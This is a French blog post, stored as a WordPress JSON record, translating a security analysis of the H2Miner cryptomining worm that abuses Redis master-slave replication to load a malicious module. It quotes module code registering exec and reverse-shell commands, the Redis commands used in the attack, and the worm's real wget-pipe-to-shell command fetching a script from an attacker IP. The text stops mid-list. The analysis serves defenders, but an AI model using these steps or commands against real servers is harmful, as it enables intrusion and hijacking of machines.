{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Une nouvelle \u00e9pid\u00e9mie de vers H2Miner exploitant Redis RCE a \u00e9t\u00e9 d\u00e9tect\u00e9e.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Il y a un jour, l'un des serveurs de mon projet a \u00e9t\u00e9 attaqu\u00e9 par un ver similaire. \u00c0 la recherche d'une r\u00e9ponse \u00e0 la question \u00ab qu'est-ce que c'\u00e9tait ? \u00bb, j'ai trouv\u00e9 un excellent article de l'\u00e9quipe de Alibaba Cloud Security. Comme je n'ai pas trouv\u00e9 cet article sur Habrahabr, j'ai d\u00e9cid\u00e9 de le traduire sp\u00e9cialement pour vous <3\n<\/p><\/blockquote>\n

Introduction<\/h2>\n

\nR\u00e9cemment, l'\u00e9quipe de s\u00e9curit\u00e9 d'Alibaba Cloud a d\u00e9couvert une \u00e9pid\u00e9mie soudaine de H2Miner. Ce type de ver malveillant exploite l'absence d'autorisation ou des mots de passe faibles pour Redis comme portes d'entr\u00e9e \u00e0 vos syst\u00e8mes, puis synchronise son propre module malveillant avec le slave via la synchronisation master-slave et, enfin, t\u00e9l\u00e9charge ce module malveillant sur la machine cibl\u00e9e et ex\u00e9cute des instructions malveillantes.<\/p>\n

Autrefois, les attaques sur vos syst\u00e8mes \u00e9taient principalement effectu\u00e9es par un m\u00e9thode impliquant des t\u00e2ches planifi\u00e9es ou des cl\u00e9s SSH qui \u00e9taient \u00e9crites sur votre machine apr\u00e8s que l'intrus ait acc\u00e9d\u00e9 \u00e0 Redis. Heureusement, cette m\u00e9thode n'est pas souvent utilis\u00e9e en raison de probl\u00e8mes de contr\u00f4le des autorisations ou \u00e0 cause de diff\u00e9rentes versions du syst\u00e8me. N\u00e9anmoins, ce mode de t\u00e9l\u00e9chargement de module malveillant peut directement ex\u00e9cuter des commandes de l'attaquant ou acc\u00e9der au shell, ce qui est dangereux pour votre syst\u00e8me.<\/p>\n

En raison du grand nombre serveurs<\/a> de Redis, h\u00e9berg\u00e9s sur Internet (pr\u00e8s d'un million), l'\u00e9quipe de s\u00e9curit\u00e9 d'Alibaba Cloud, en tant que rappel amical, recommande aux utilisateurs de ne pas fournir d'acc\u00e8s \u00e0 Redis depuis le r\u00e9seau et de v\u00e9rifier r\u00e9guli\u00e8rement la robustesse de leurs mots de passe, et s'ils ne sont pas vuln\u00e9rables \u00e0 une attaque par force brute.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner est un botnet de minage pour les syst\u00e8mes bas\u00e9s sur Linux, qui peut infiltrer votre syst\u00e8me de diff\u00e9rentes mani\u00e8res, y compris l'absence d'autorisation dans Hadoop YARN, Docker, et une vuln\u00e9rabilit\u00e9 d'ex\u00e9cution de commande \u00e0 distance Redis (RCE). Le botnet fonctionne en t\u00e9l\u00e9chargeant des scripts malveillants et des logiciels malveillants pour miner vos donn\u00e9es, \u00e9largir horizontalement l'attaque et maintenir une communication de commande et de contr\u00f4le (C&C).
\n<\/a><\/noindex><\/p>\n

RCE Redis<\/h2>\n

\nPavel Toporkov a partag\u00e9 ses connaissances sur ce sujet lors de ZeroNights 2018. Depuis la version 4.0, Redis prend en charge la fonction de chargement de modules externes, qui permet aux utilisateurs de charger des fichiers so, compil\u00e9s avec C dans Redis pour ex\u00e9cuter certaines commandes Redis. Cette fonction, bien que utile, pr\u00e9sente une vuln\u00e9rabilit\u00e9, o\u00f9 en mode master-slave, les fichiers peuvent \u00eatre synchronis\u00e9s avec le slave via le mode fullresync. Cela peut \u00eatre exploit\u00e9 par un attaquant pour transmettre des fichiers so malveillants. Une fois le transfert termin\u00e9, les attaquants chargent le module sur l'instance Redis attaqu\u00e9e et ex\u00e9cutent n'importe quelle commande.<\/p>\n

Analyse du ver malveillant<\/h2>\n

\nR\u00e9cemment, l'\u00e9quipe de s\u00e9curit\u00e9 d'Alibaba Cloud a d\u00e9couvert que la taille du groupe de mineurs malveillants H2Miner avait soudainement augment\u00e9. Selon l'analyse, le processus global de l'attaque se d\u00e9roule comme suit :<\/p>\n

\"Une
\n
\nH2Miner utilise RCE Redis pour une attaque compl\u00e8te. Tout d'abord, les attaquants ciblent des serveurs Redis non prot\u00e9g\u00e9s ou des serveurs avec des mots de passe faibles.<\/p>\n

Ensuite, ils utilisent la commande config set dbfilename red2.so<\/code> pour changer le nom du fichier. Apr\u00e8s cela, les attaquants ex\u00e9cutent la commande slaveof<\/code> pour d\u00e9finir l'adresse de l'h\u00f4te de r\u00e9plication master-slave. <\/p>\n

Lorsque l'instance Redis attaqu\u00e9e \u00e9tablit une connexion master-slave avec le Redis malveillant appartenant \u00e0 l'attaquant, ce dernier envoie le module infect\u00e9 \u00e0 l'aide de la commande fullresync pour synchroniser les fichiers. Ensuite, le fichier red2.so sera charg\u00e9 sur la machine attaqu\u00e9e. Les attaquants utilisent ensuite le module .\\\/red2.so pour charger ce fichier so. Le module peut ex\u00e9cuter des commandes de l'attaquant ou initier une connexion invers\u00e9e (backdoor) pour acc\u00e9der \u00e0 la machine attaqu\u00e9e.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nApr\u00e8s avoir ex\u00e9cut\u00e9 une commande malveillante, comme \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, l'attaquant supprimera le nom du fichier de sauvegarde et d\u00e9chargera le module syst\u00e8me pour effacer les traces. Cependant, le fichier red2.so restera sur la machine attaqu\u00e9e. Il est conseill\u00e9 aux utilisateurs de pr\u00eater attention \u00e0 la pr\u00e9sence d'un tel fichier suspect dans le dossier de leur instance Redis.<\/p>\n
En plus de d\u00e9truire certains processus malveillants pour voler des ressources, l'attaquant a suivi un sc\u00e9nario malveillant en t\u00e9l\u00e9chargeant et ex\u00e9cutant des fichiers malveillants au format binaire afin de 142.44.191.122\/kinsing<\/a><\/noindex>. Cela signifie que le nom du processus ou le nom du r\u00e9pertoire contenant kinsing sur l'h\u00f4te peut indiquer que cette machine a \u00e9t\u00e9 infect\u00e9e par ce virus.<\/p>\n
Selon les r\u00e9sultats de l'ing\u00e9nierie inverse, le logiciel malveillant ex\u00e9cute principalement les fonctions suivantes :<\/p>\n